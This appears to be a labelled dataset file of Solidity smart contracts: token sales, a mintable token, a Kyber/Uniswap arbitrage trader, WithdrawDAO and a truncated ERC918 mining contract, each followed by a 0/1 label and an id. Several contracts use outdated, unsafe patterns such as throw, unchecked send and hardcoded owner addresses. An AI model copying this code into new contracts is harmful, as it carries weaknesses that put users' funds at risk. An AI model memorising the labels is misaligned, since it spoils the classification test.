(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,738 |
pragma solidity ^0.4.24;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SEcoinAbstract {function unlock() public;}
contract SECrowdsale {
using SafeMath for uint256;
address constant public SEcoin = 0xe45b7cd82ac0f3f6cfc9ecd165b79d6f87ed2875;
uint256 public startTime;
uint256 public endTime;
address public SEcoinWallet = 0x5C737AdC09a0cFA1C9b83E199971a677163ddd07;
address public SEcoinsetWallet = 0x52873e9191f21a26ddc8b65e5dddbac6b73b69e8;
uint256 public rate = 6000;
uint256 public weiRaised;
uint256 public weiSold;
address public SEcoinbuyer;
address[] public SEcoinbuyerevent;
uint256[] public SEcoinAmountsevent;
uint256[] public SEcoinmonth;
uint public firstbuy;
uint SEcoinAmounts ;
uint SEcoinAmountssend;
mapping(address => uint) public icobuyer;
mapping(address => uint) public icobuyer2;
event TokenPurchase(address indexed purchaser, address indexed SEcoinbuyer, uint256 value, uint256 amount,uint SEcoinAmountssend);
function () external payable {buyTokens(msg.sender);}
function buyer(address SEcoinbuyer) internal{
if(icobuyer[msg.sender]==0){
icobuyer[msg.sender] = firstbuy;
icobuyer2[msg.sender] = firstbuy;
firstbuy++;
SEcoinbuyerevent.push(SEcoinbuyer);
SEcoinAmountsevent.push(SEcoinAmounts);
SEcoinmonth.push(0);
}else if(icobuyer[msg.sender]!=0){
uint i = icobuyer2[msg.sender];
SEcoinAmountsevent[i]=SEcoinAmountsevent[i]+SEcoinAmounts;
icobuyer2[msg.sender]=icobuyer[msg.sender];}
}
function buyTokens(address SEcoinbuyer) public payable {
require(SEcoinbuyer != address(0x0));
require(selltime());
require(msg.value>=1*1e16 && msg.value<=200*1e18);
SEcoinAmounts = calculateObtainedSEcoin(msg.value);
SEcoinAmountssend= calculateObtainedSEcoinsend(SEcoinAmounts);
weiRaised = weiRaised.add(msg.value);
weiSold = weiSold.add(SEcoinAmounts);
require(ERC20Basic(SEcoin).transfer(SEcoinbuyer, SEcoinAmountssend));
buyer(msg.sender);
checkRate();
forwardFunds();
emit TokenPurchase(msg.sender, SEcoinbuyer, msg.value, SEcoinAmounts,SEcoinAmountssend);
}
function forwardFunds() internal {
SEcoinWallet.transfer(msg.value);
}
function calculateObtainedSEcoin(uint256 amountEtherInWei) public view returns (uint256) {
checkRate();
return amountEtherInWei.mul(rate);
}
function calculateObtainedSEcoinsend (uint SEcoinAmounts)public view returns (uint){
return SEcoinAmounts.div(10);
}
function selltime() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
return withinPeriod;
}
function hasEnded() public view returns (bool) {
bool isEnd = now > endTime || weiRaised >= 299600000*1e18;
return isEnd;
}
function releaseSEcoin() public returns (bool) {
require (msg.sender == SEcoinsetWallet);
require (hasEnded() && startTime != 0);
SEcoinAbstract(SEcoin).unlock();
}
function getunselltoken()public returns(bool){
require (msg.sender == SEcoinsetWallet);
require (hasEnded() && startTime != 0);
uint256 remainedSEcoin = ERC20Basic(SEcoin).balanceOf(this)-weiSold;
ERC20Basic(SEcoin).transfer(SEcoinWallet, remainedSEcoin);
}
function getunselltokenB()public returns(bool){
require (msg.sender == SEcoinsetWallet);
require (hasEnded() && startTime != 0);
uint256 remainedSEcoin = ERC20Basic(SEcoin).balanceOf(this);
ERC20Basic(SEcoin).transfer(SEcoinWallet, remainedSEcoin);
}
function start() public returns (bool) {
require (msg.sender == SEcoinsetWallet);
require (firstbuy==0);
startTime = 1541001600;
endTime = 1543593599;
SEcoinbuyerevent.push(SEcoinbuyer);
SEcoinAmountsevent.push(SEcoinAmounts);
SEcoinmonth.push(0);
firstbuy=1;
}
function changeSEcoinWallet(address _SEcoinsetWallet) public returns (bool) {
require (msg.sender == SEcoinsetWallet);
SEcoinsetWallet = _SEcoinsetWallet;
}
function checkRate() public returns (bool) {
if (now>=startTime && now< 1541433599){
rate = 6000;
}else if (now >= 1541433599 && now < 1542297599) {
rate = 5000;
}else if (now >= 1542297599 && now < 1543161599) {
rate = 4000;
}else if (now >= 1543161599) {
rate = 3500;
}
}
function getICOtoken(uint number)public returns(string){
require(SEcoinbuyerevent[number] == msg.sender);
require(now>=1543593600&&now<=1567267199);
uint _month;
if(now>=1543593600 && now<=1546271999 && SEcoinmonth[number]==0){
require(SEcoinmonth[number]==0);
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=1;
}
else if(now>=1546272000 && now<=1548950399 && SEcoinmonth[number]<=1){
if(SEcoinmonth[number]==1){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=2;
}else if(SEcoinmonth[number]<1){
_month = 2-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=2;}
}
else if(now>=1548950400 && now<=1551369599 && SEcoinmonth[number]<=2){
if(SEcoinmonth[number]==2){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=3;
}else if(SEcoinmonth[number]<2){
_month = 3-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=3;}
}
else if(now>=1551369600 && now<=1554047999 && SEcoinmonth[number]<=3){
if(SEcoinmonth[number]==3){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=4;
}else if(SEcoinmonth[number]<3){
_month = 4-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=4;}
}
else if(now>=1554048000 && now<=1556639999 && SEcoinmonth[number]<=4){
if(SEcoinmonth[number]==4){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=5;
}else if(SEcoinmonth[number]<4){
_month = 5-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=5;}
}
else if(now>=1556640000 && now<=1559318399 && SEcoinmonth[number]<=5){
if(SEcoinmonth[number]==5){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=6;
}else if(SEcoinmonth[number]<5){
_month = 6-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=6;}
}
else if(now>=1559318400 && now<=1561910399 && SEcoinmonth[number]<=6){
if(SEcoinmonth[number]==6){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=7;
}else if(SEcoinmonth[number]<6){
_month = 7-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=7;}
}
else if(now>=1561910400 && now<=1564588799 && SEcoinmonth[number]<=7){
if(SEcoinmonth[number]==7){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=8;
}else if(SEcoinmonth[number]<7){
_month = 8-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=8;}
}
else if(now>=1564588800 && now<=1567267199 && SEcoinmonth[number]<=8){
if(SEcoinmonth[number]==8){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=9;
}else if(SEcoinmonth[number]<8){
_month = 9-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=9;}
}
else if(now<1543593600 || now>1567267199 || SEcoinmonth[number]>=9){
revert("Get all tokens or endtime");
}
}
} | 0 | 828 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Bounty60 {
string public constant name = "Bounty60";
string public constant symbol = "B60";
uint8 public constant decimals = 4;
uint public _totalSupply = 1000000000000000;
uint256 public RATE = 1;
bool public isMinting = true;
string public constant generatedBy = "Togen.io by Proof Suite";
using SafeMath for uint256;
address public owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
mapping(address => uint256) balances;
mapping(address => mapping(address=>uint256)) allowed;
function () payable{
createTokens();
}
constructor() public {
owner = 0x1be41090dc114b0889da4a2fa1a111b3cd32881a;
balances[owner] = _totalSupply;
}
function burnTokens(uint256 _value) onlyOwner {
require(balances[msg.sender] >= _value && _value > 0 );
_totalSupply = _totalSupply.sub(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
}
function createTokens() payable {
if(isMinting == true){
require(msg.value > 0);
uint256 tokens = msg.value.div(100000000000000).mul(RATE);
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = _totalSupply.add(tokens);
owner.transfer(msg.value);
}
else{
throw;
}
}
function endCrowdsale() onlyOwner {
isMinting = false;
}
function changeCrowdsaleRate(uint256 _value) onlyOwner {
RATE = _value;
}
function totalSupply() constant returns(uint256){
return _totalSupply;
}
function balanceOf(address _owner) constant returns(uint256){
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns(bool) {
require(balances[msg.sender] >= _value && _value > 0 );
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns(uint256){
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 4,240 |
pragma solidity >=0.4.26;
contract UniswapExchangeInterface {
function tokenAddress() external view returns (address token);
function factoryAddress() external view returns (address factory);
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
function setup(address token_addr) external;
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface KyberNetworkProxyInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount,
uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
function swapEtherToToken(ERC20 token, uint minRate) public payable returns (uint);
function swapTokenToEther(ERC20 token, uint tokenQty, uint minRate) public returns (uint);
}
interface OrFeedInterface {
function getExchangeRate ( string fromSymbol, string toSymbol, string venue, uint256 amount ) external view returns ( uint256 );
function getTokenDecimalCount ( address tokenAddress ) external view returns ( uint256 );
function getTokenAddress ( string symbol ) external view returns ( address );
function getSynthBytes32 ( string symbol ) external view returns ( bytes32 );
function getForexAddress ( string symbol ) external view returns ( address );
}
contract Trader{
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
KyberNetworkProxyInterface public proxy = KyberNetworkProxyInterface(0x818E6FECD516Ecc3849DAf6845e3EC868087B755);
OrFeedInterface orfeed= OrFeedInterface(0x8316b082621cfedab95bf4a44a1d4b64a6ffc336);
address saiAddress = 0x89d24a6b4ccb1b6faa2625fe562bdd9a23260359;
bytes PERM_HINT = "PERM";
address owner;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
constructor(){
owner = msg.sender;
}
function swapEtherToToken (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, address destAddress) internal{
uint minRate;
(, minRate) = _kyberNetworkProxy.getExpectedRate(ETH_TOKEN_ADDRESS, token, msg.value);
uint destAmount = _kyberNetworkProxy.swapEtherToToken.value(msg.value)(token, minRate);
require(token.transfer(destAddress, destAmount));
}
function swapTokenToEther1 (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, uint tokenQty, address destAddress) internal returns (uint) {
uint minRate =1;
token.transferFrom(msg.sender, this, tokenQty);
token.approve(proxy, 0);
token.approve(address(proxy), tokenQty);
uint destAmount = proxy.tradeWithHint(ERC20(saiAddress), tokenQty, ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee), this, 8000000000000000000000000000000000000000000000000000000000000000, 0, 0x0000000000000000000000000000000000000004, PERM_HINT);
return destAmount;
}
function swapTokenToEther2 (KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, uint tokenQty, address destAddress, address tokenAddress) internal returns (uint) {
uint minRate =1;
token.transferFrom(msg.sender, this, tokenQty);
token.approve(proxy, 0);
token.approve(address(proxy), tokenQty);
uint destAmount = proxy.tradeWithHint(ERC20(tokenAddress), tokenQty, ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee), this, 8000000000000000000000000000000000000000000000000000000000000000, 0, 0x0000000000000000000000000000000000000004, PERM_HINT);
return destAmount;
}
function kyberToUniSwapArb(address fromAddress, address uniSwapContract, uint theAmount) public payable onlyOwner returns (bool){
address theAddress = uniSwapContract;
UniswapExchangeInterface usi = UniswapExchangeInterface(theAddress);
ERC20 address1 = ERC20(fromAddress);
uint ethBack = swapTokenToEther1(proxy, address1 , theAmount, msg.sender);
usi.ethToTokenSwapInput.value(ethBack)(1, block.timestamp);
return true;
}
function kyberToUniSwapArb2(address fromAddress, address uniSwapContract, uint theAmount, address tokenAddress) public payable onlyOwner returns (bool){
address theAddress = uniSwapContract;
UniswapExchangeInterface usi = UniswapExchangeInterface(theAddress);
ERC20 address1 = ERC20(fromAddress);
uint ethBack = swapTokenToEther2(proxy, address1 , theAmount, msg.sender, tokenAddress);
usi.ethToTokenSwapInput.value(ethBack)(1, block.timestamp);
return true;
}
function () external payable {
}
function withdrawETHAndTokens() onlyOwner{
msg.sender.send(address(this).balance);
ERC20 saiToken = ERC20(saiAddress);
uint256 currentTokenBalance = saiToken.balanceOf(this);
saiToken.transfer(msg.sender, currentTokenBalance);
}
function withdrawETHAndTokensParam(address tokenAddress) onlyOwner{
msg.sender.send(address(this).balance);
ERC20 token = ERC20(tokenAddress);
uint256 currentTokenBalance = token.balanceOf(this);
token.transfer(msg.sender, currentTokenBalance);
}
function getKyberSellPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "SELL-KYBER-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getUniswapBuyPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "BUY-UNISWAP-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getKyberBuyPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "BUY-KYBER-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getUniswapSellPrice() constant returns (uint256){
uint256 currentPrice = orfeed.getExchangeRate("ETH", "SAI", "SELL-UNISWAP-EXCHANGE", 1000000000000000000);
return currentPrice;
}
function getOrfeedExchangeRate( string fromSymbol, string toSymbol, string venue, uint amount ) constant returns ( uint256 ){
uint256 currentPrice = orfeed.getExchangeRate(fromSymbol, toSymbol, venue, amount);
return currentPrice;
}
} | 0 | 96 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0xd164b088bd9108b60d0ca3751da4bceb207b0782);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 1,831 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns(uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns(uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
require(b != 0);
return a % b;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns(uint c) {
if (a > b) return b;
return a;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract InterfaceContracts is Ownable {
InterfaceContracts public _internalMod;
function setModifierContract (address _t) onlyOwner public {
_internalMod = InterfaceContracts(_t);
}
modifier onlyMiningContract() {
require(msg.sender == _internalMod._contract_miner(), "Wrong sender");
_;
}
modifier onlyTokenContract() {
require(msg.sender == _internalMod._contract_token(), "Wrong sender");
_;
}
modifier onlyMasternodeContract() {
require(msg.sender == _internalMod._contract_masternode(), "Wrong sender");
_;
}
modifier onlyVotingOrOwner() {
require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender");
_;
}
modifier onlyVotingContract() {
require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender");
_;
}
function _contract_voting () public view returns (address) {
return _internalMod._contract_voting();
}
function _contract_masternode () public view returns (address) {
return _internalMod._contract_masternode();
}
function _contract_token () public view returns (address) {
return _internalMod._contract_token();
}
function _contract_miner () public view returns (address) {
return _internalMod._contract_miner();
}
}
interface ICaelumMasternode {
function _externalArrangeFlow() external;
function rewardsProofOfWork() external returns (uint) ;
function rewardsMasternode() external returns (uint) ;
function masternodeIDcounter() external returns (uint) ;
function masternodeCandidate() external returns (uint) ;
function getUserFromID(uint) external view returns (address) ;
function contractProgress() external view returns (uint, uint, uint, uint, uint, uint, uint, uint);
}
interface ICaelumToken {
function rewardExternal(address, uint) external;
function balanceOf(address) external view returns (uint);
}
interface EIP918Interface {
function mint(uint256 nonce, bytes32 challenge_digest) external returns (bool success);
function getChallengeNumber() external view returns (bytes32);
function getMiningDifficulty() external view returns (uint);
function getMiningTarget() external view returns (uint);
function getMiningReward() external view returns (uint);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract AbstractERC918 is EIP918Interface {
bytes32 public challengeNumber;
uint public difficulty;
uint public tokensMinted;
struct Statistics {
address lastRewardTo;
uint lastRewardAmount;
uint lastRewardEthBlockNumber;
uint lastRewardTimestamp;
}
Statistics public statistics;
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns (bytes32 digest);
function _reward() internal returns (uint);
function _newEpoch(uint256 nonce) internal returns (uint);
function _adjustDifficulty() internal returns (uint);
}
contract CaelumAbstractMiner is InterfaceContracts, AbstractERC918 {
using SafeMath for uint;
using ExtendedMath for uint;
uint256 public totalSupply = 2100000000000000;
uint public latestDifficultyPeriodStarted;
uint public epochCount;
uint public baseMiningReward = 50;
uint public blocksPerReadjustment = 512;
uint public _MINIMUM_TARGET = 2 ** 16;
uint public _MAXIMUM_TARGET = 2 ** 234;
uint public rewardEra = 0;
uint public maxSupplyForEra;
uint public MAX_REWARD_ERA = 39;
uint public MINING_RATE_FACTOR = 60;
uint public MAX_ADJUSTMENT_PERCENT = 100;
uint public TARGET_DIVISOR = 2000;
uint public QUOTIENT_LIMIT = TARGET_DIVISOR.div(2);
mapping(bytes32 => bytes32) solutionForChallenge;
mapping(address => mapping(address => uint)) allowed;
bytes32 public challengeNumber;
uint public difficulty;
uint public tokensMinted;
Statistics public statistics;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
event RewardMasternode(address candidate, uint amount);
constructor() public {
tokensMinted = 0;
maxSupplyForEra = totalSupply.div(2);
difficulty = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_newEpoch(0);
}
function _newEpoch(uint256 nonce) internal returns(uint) {
if (tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < MAX_REWARD_ERA) {
rewardEra = rewardEra + 1;
}
maxSupplyForEra = totalSupply - totalSupply.div(2 ** (rewardEra + 1));
epochCount = epochCount.add(1);
challengeNumber = blockhash(block.number - 1);
return (epochCount);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns(bytes32 digest) {
digest = keccak256(challengeNumber, msg.sender, nonce);
if (digest != challenge_digest) revert();
if (uint256(digest) > difficulty) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if (solution != 0x0) revert();
}
function _reward() internal returns(uint);
function _reward_masternode() internal returns(uint);
function _adjustDifficulty() internal returns(uint) {
if (epochCount % blocksPerReadjustment != 0) {
return difficulty;
}
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
uint epochsMined = blocksPerReadjustment;
uint targetEthBlocksPerDiffPeriod = epochsMined * MINING_RATE_FACTOR;
if (ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod) {
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
difficulty = difficulty.sub(difficulty.div(TARGET_DIVISOR).mul(excess_block_pct_extra));
} else {
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
difficulty = difficulty.add(difficulty.div(TARGET_DIVISOR).mul(shortage_block_pct_extra));
}
latestDifficultyPeriodStarted = block.number;
if (difficulty < _MINIMUM_TARGET)
{
difficulty = _MINIMUM_TARGET;
}
if (difficulty > _MAXIMUM_TARGET)
{
difficulty = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public view returns(bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public view returns(uint) {
return _MAXIMUM_TARGET.div(difficulty);
}
function getMiningTarget() public view returns(uint) {
return difficulty;
}
function getMiningReward() public view returns(uint) {
return (baseMiningReward * 1e8).div(2 ** rewardEra);
}
function getMintDigest(
uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number
)
public view returns(bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
return digest;
}
function checkMintSolution(
uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number,
uint testTarget
)
public view returns(bool success) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
if (uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
}
contract CaelumMiner is CaelumAbstractMiner {
ICaelumToken public tokenInterface;
ICaelumMasternode public masternodeInterface;
bool public ACTIVE_STATE = false;
